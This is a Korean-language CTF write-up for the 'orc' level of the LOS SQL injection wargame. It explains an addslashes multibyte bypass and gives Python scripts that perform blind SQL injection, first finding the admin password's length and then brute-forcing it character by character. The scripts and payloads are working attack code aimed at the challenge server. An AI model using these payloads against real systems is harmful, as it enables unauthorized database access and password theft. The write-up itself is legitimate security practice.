LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
이전 문제들보다 코드도 길어지고 조금 더 복잡해졌다.
✔️ 풀이
풀이에 해당하는 코드는 다음과 같다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
이번에는 pw 컬럼이 존재하면서,
result의 pw 값과 GET으로 받아오는 값이 일치하는 구문이
동시에 참에 해당하면 solve 되는 형태를 가지고 있다.
간단하게 1번 문제 풀던 것처럼 pw를 참으로 만들게 되면,
코드 상단부에 해당하는 id 존재 여부와 일치하게 되어서
문제를 푸는 것이 아니라 반갑게 인사하는 것으로 그치게 된다.
그렇다면, 코드 하단부를 해석해야하는데 다음과 같은 함수가 있다.
https://www.php.net/manual/en/function.addslashes.php
PHP: addslashes - Manual
spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that
www.php.net
addslashes(string $string): string
해당 코드는 인자로 문자열을 받는데, 설명을 직역해서 읽어보면
싱글쿼터와 더블쿼터, 역슬래쉬랑 NUL을 탈출하게 된다.
위의 사이트에서도 다음과 같이 설명하고 있다.
The addslashes() is sometimes incorrectly
used to try to prevent SQL Injection.
즉, SQL Injection 공격을 예방하기 위해서 사용하는 것이다.
예시는 다음과 같이 나온다.
<?php
$str = "Is your name O'Reilly?";
// Outputs: Is your name O\'Reilly?
echo addslashes($str);
?>
쿼터 앞에 \가 삽입되면서 모두 문자열 형태로 출력되는 것이다.
그렇다면 해당 함수를 우회하면서 동시에 pw에 일치하는
값을 집어넣으면 해결할 수 있을 것이다.
addslashes bypass라고 검색하면 여러가지 것들이 나올테지만,
보통 멀티바이트를 이용해서 우회한다고 설명한다.
https://blog.naver.com/wondo21c/30043174174
https://www.ibm.com/docs/en/order-management-sw/10.0?topic=localized-multibyte-character-sets
해당 출처를 통해 멀티바이트가 무엇인가 살펴보게 되면,
아스키 코드에다가 다른 2byte 문자들을 포함한 문자 집합이
멀티바이트 문자 집합이라고 나오게 된다.
이를 통해 역슬래시를 우선 삽입하고 싱글쿼터를 보내게 되면,
앞선 문자가 멀티바이트로 잡히게 되어서 뒤에 나오는
조작된 SQL 구문을 삽입할 수 있게 된다.
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html
해당 사이트를 참고하게 되면 %bf를 이용하여 멀티바이트를 만드는 방법이
소개되고 있는데, %bf%27이라고 입력하여 %bf%5C(\)%27로 만들어주어서
문자 + ' ~~~ 이런식으로 조작할 수 있게 되는 것이다.
그런데 이제 확인해야 할 것이 pw만 존재하면 끝나는 것이 아니라,
pw가 일치해야하는데 이 패스워드를 어떻게 찾을 것인가하는 것이다.
https://velog.io/@yu-jin-song/DB-SQL-%EC%9D%B8%EC%A0%9D%EC%85%98SQL-Injection
그래서 SQL Injection의 종류를 확인해보았을 때,
Blind Sql Injection 공격을 통해서 pw에 해당하는 문자가
일치하면 문자를 출력해줄 수 있는 스크립트를 작성해야겠다는 생각이 들었다.
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies = { "PHPSESSID" : "쿠키값" }
request = requests.get(url, cookies=cookies)
print(request.status_code)
다음 코드로 orc 주소로 200의 정상적인 코드 반환이
이루어지는 것을 확인할 수 있다.
이번에는 패스워드 길이를 파악할 수 있도록
파라미터를 추가하여 get에 전달해보도록 하자.
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and length(pw) = {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
print("패스워드 길이:", pw_length())
다음과 같이 패스워드 길이를 파악할 수 있다.
해당 패스워드 길이를 이용해서 스크립트를 구성해보자.
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and length(pw) = {} #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
for j in range(30, 123):
params = { "pw" : "' or id='admin' and ascii(substring(pw, {}, 1))={} #".format(i, j) }
request = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in request.text:
password = password + chr(j)
print("패스워드:", password)
pw_crack()
다음 코드를 살펴보게 되면, 위에서 받은 패스워드 길이만큼
for문을 돌리게 되는데 ascii code 30이 0부터 123 Z까지 코드를
돌면서 substring 부분의 코드를 돌게 된다.
실제로 해당하는 파라미터를 삽입하게 되면,
패스워드에 해당하는 substring의 hex 값을 넣게 되어
참 값이 반환되면서 Hello admin을 출력하는 것을 확인할 수 있다.
앞의 구문이 거짓이고 뒤에 구문이 참이 되기 때문에
Blind Sql Injection 공격으로 진행할 수 있는 것이다.
앞선 스크립트는 substring(pw, 패스워드길이, 1))=아스키코드
이러한 형태를 띄게 되고 패스워드 길이 1부터 총 8개의 길이만큼
패스워드에 해당하면 출력되는 Hello admin이 요청안에 텍스트로
들어있으면 패스워드를 알아낼 수 있기 때문에
중첩 for문을 돌면서 진행하게 되면 패스워드를 확인할 수 있다.
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] darkelf (0) | 2022.12.20 |
---|---|
[LOS] wolfman (0) | 2022.12.20 |
[LOS] goblin (0) | 2022.12.19 |
[LOS] cobolt (0) | 2022.12.19 |
[LOS] gremlin (0) | 2022.12.19 |